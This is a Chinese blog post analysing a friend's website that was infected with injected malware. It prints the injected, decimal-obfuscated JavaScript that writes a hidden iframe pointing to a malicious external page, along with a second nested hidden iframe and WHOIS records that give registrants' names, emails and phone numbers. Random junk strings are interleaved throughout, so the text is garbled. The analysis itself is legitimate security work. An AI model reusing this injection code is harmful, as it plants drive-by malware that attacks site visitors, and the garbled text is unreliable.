首发在我的博客里面，
e&8Meiv+ d LX&O"YY http://www.areway.cn/?p=175 +lFBH(o]X cp~6\F;c b%"/8rK 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`
-SC,qHw DoO
;VF <script>t=’60,105,102,114,97,109,101,
,|?#+O{ 32,115,114,99,61,104,116,116,112,58,47,47,
x5smJ__/ 102,114,101,101,46,117,45,117,117,117,46,99,
lB/ ^ 110,47,101,114,114,111,114,46,104,116,109,
gN (kRhp 32,119,105,100,116,104,61,49,48,48,32,104,
F g):>];<9 101,105,103,104,116,61,48,62,60,47,105,102,
N.]~%)K:{ 114,97,109,101,62′;
EW4a@ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
IUh9skW5 ^2%)Nq; O <script>t=’60,105,102,114,97,109,101,32,115,
9fTl 6?x 114,99,61,104,116,116,112,58,47,47,102,114,
be_h
uZ 101,101,46,117,45,117,117,117,46,99,110,47,
P Gxv 4(% 101,114,114,111,114,46,104,116,109,32,119,
+jq@!P"}d 105,100,116,104,61,49,48,48,32,104,101,105,
=^*EM<WG) 103,104,116,61,48,62,60,47,105,102,114,97,
?y>v"1+ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
vmOye/?k document.write(t);</script>
0;=]MEk? YKayaI\* <html xmlns=”
vZS/? pU~~ http://www.w3.org/1999/xhtml $I#~<bW, “>
%t1Z!xv_ <head>
>,k2|m <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
/FW$)w2{ j <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
2Q%M2U a <title>首页 - 爱生活家庭网
pBBKfv ;Z "Iv 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
iGj,B =35 转换字符串后的大概内容是（谁点击后果自付）：
=c#mR" 1 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
|t3 }>+"?z g}hNsU=$5~ 查询玉米u-uuu.cn的详细信息：
+gBD E : Domain Name: u-uuu.cn
qQo*:3/]; ROID: 20070901s10001s64972306-cn
yU7XX+cB7 Domain Status: ok
ND=JpVkvZ? Registrant Organization: 王雷
`-b{|a J Registrant Name: 王雷
aY pc\jJ Administrative Email:
czlovexs@126.com C9k"QPE Sponsoring Registrar: 北京万网志成科技有限公司
\7xc*v [ Name Server:ns.yovole.com
Oo(xYy Name Server:ns1.yovole.com
NL-PQ%lUA Registration Date: 2007-09-01 17:54
"la0@/n Expiration Date: 2008-09-01 17:54
XknNb{. r 最后PING了一下地址 都没有什么….
.Q@]+&`|}i F >[^m Xw 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
9aIv|cS? <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Xf{p >-+DL <script language=”javascript” src=”
\ E5kpm http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Ers JWp >
0lYP!\J3]% 这个玉米应该有可能是木马作者的：
|rhB@k foafau.info的详细信息：
i^IL o,Q Access to INFO WHOIS information is provided to assist persons in
RCK* ?\m5 determining the contents of a domain name registration record in the
Y}yh6r;i Afilias registry database. The data in this record is provided by
3w[uc ~f Afilias Limited for informational purposes only, and Afilias does not
|@R/JGB^ guarantee its accuracy. This service is intended only for query-based
M
0G`P1o access. You agree that you will use this data only for lawful purposes
wxvVtV{u>| and that, under no circumstances will you use this data to: (a) allow,
}
MP_ enable, or otherwise support the transmission by e-mail, telephone, or
3y:),;|5 facsimile of mass unsolicited, commercial advertising or solicitations
ab)ckRC to entities other than the data recipient’s own existing customers; or
ga;t`5+d (b) enable high volume, automated, electronic processes that send
F60m]NUM)c queries or data to the systems of Registry Operator, a Registrar, or
7pep\ Afilias except as reasonably necessary to register domain names or
}PD tx:T- modify existing registrations. All rights reserved. Afilias reserves
AtAu$"ue the right to modify these terms at any time. By submitting this query,
$}YN`:{ you agree to abide by this policy.
]:?hU^H]< Domain ID:D22418703-LRMS
?=kH}'igq Domain Name:FOAFAU.INFO
%){/O}I]> Created On:20-Nov-2007 16:05:42 UTC
-,mV~y Last Updated On:20-Nov-2007 16:05:44 UTC
[,~;n@jz Expiration Date:20-Nov-2008 16:05:42 UTC
^$oEM0h Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
fG.6S"|M Status:CLIENT DELETE PROHIBITED
^y|`\oyqwN Status:CLIENT RENEW PROHIBITED
=ty{ugM< Status:CLIENT TRANSFER PROHIBITED
V!+ < Status:CLIENT UPDATE PROHIBITED
_qt Status:TRANSFER PROHIBITED
s6 K~I Registrant ID:GODA-040110615
a~-k} G5 Registrant Name:liu hong
%^"i\- *|S Registrant Organization:
4m~p(r Registrant Street1:beijing
kqC7^x Registrant Street2:
2U+Fa t@ Registrant Street3:
'q8:1i9\[ Registrant City:beijing
lq Av Registrant State/Province:
Nlc3S+$`z Registrant Postal Code:100000
=G'J@[d{d Registrant Country:CN
1mfB6p1Z( Registrant Phone:+86.860108888777
'Q*lp !2> Registrant Phone Ext.:
XwU1CejP0 Registrant FAX:
$Nj'_G\} Registrant FAX Ext.:
/>PH{ l Registrant Email:bbbshiji@163.com
5g9K| - Admin ID:GODA-240110615
Q 5 Mn= Admin Name:liu hong
$"Ci{iE Admin Organization:
oMq:4W, Admin Street1:beijing
su 8()]|0x Admin Street2:
[e:ccm Admin Street3:
[,z>msEB. Admin City:beijing
6-{wo)p Admin State/Province:
{;JFoe + Admin Postal Code:100000
hrfSe $8 Admin Country:CN
&&96kg3 Admin Phone:+86.860108888777
a'my0m Admin Phone Ext.:
Q b5vyV ` Admin FAX:
v}^uN+a5 Admin FAX Ext.:
v ?DA> Admin Email:bbbshiji@163.com
"!Hm.^1 Billing ID:GODA-340110615
Q 9JT6 Billing Name:liu hong
8 }M aj Billing Organization:
np7!y
U Billing Street1:beijing
OF! n}.O( Billing Street2:
8 ..g\ZT Billing Street3:
*zX^Sg-[ Billing City:beijing
UX ?S#:h Billing State/Province:
-li;w
tCS Billing Postal Code:100000
>+ Im:fD Billing Country:CN
Thp!X/2O` Billing Phone:+86.860108888777
8&#)}A }x Billing Phone Ext.:
^p\n/#B Billing FAX:
$1D>}5Ex Billing FAX Ext.:
FJsg3D*@J Billing Email:bbbshiji@163.com
%w/:mH3FA Tech ID:GODA-140110615
hBW,J $B Tech Name:liu hong
p;2NO& Tech Organization:
[Ue"#w Tech Street1:beijing
:&O6Y-/B Tech Street2:
:Ym FQ>e? Tech Street3:
9 NC'iFQ# Tech City:beijing
$n<X'7@0 Tech State/Province:
z'Fu} ho Tech Postal Code:100000
rPJbbV",+^ Tech Country:CN
a
,<u Tech Phone:+86.860108888777
M >s,I^ Tech Phone Ext.:
`g(r.`t^ Tech FAX:
A r[$% Tech FAX Ext.:
l;;"v) C8 Tech Email:bbbshiji@163.com
r@H7J 5<Y- Name Server:NS27.DOMAINCONTROL.COM
cbX < Name Server:NS28.DOMAINCONTROL.COM
.+`Z:{:BC& Name Server:
>=L<3W1 Name Server:
a0B,[i Name Server:
gG,gL 9o Name Server:
'v&f Name Server:
]y/!GF Q Name Server:
fq[,9lK Name Server:
9m2Yrj93 Name Server:
<\5E{/7Tl Name Server:
"3uPK$ Name Server:
pQBhheiM Name Server:
9%bqY9NFd OjY#xO +' 接着下载每个文件里面的代码：
/y5a~3 一步一步看..
/m*+N9 ) 
Z E},x U % 
Q-$EBNz 
f`, isy[ 
xz vbjS W 
vA@\V)s
都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
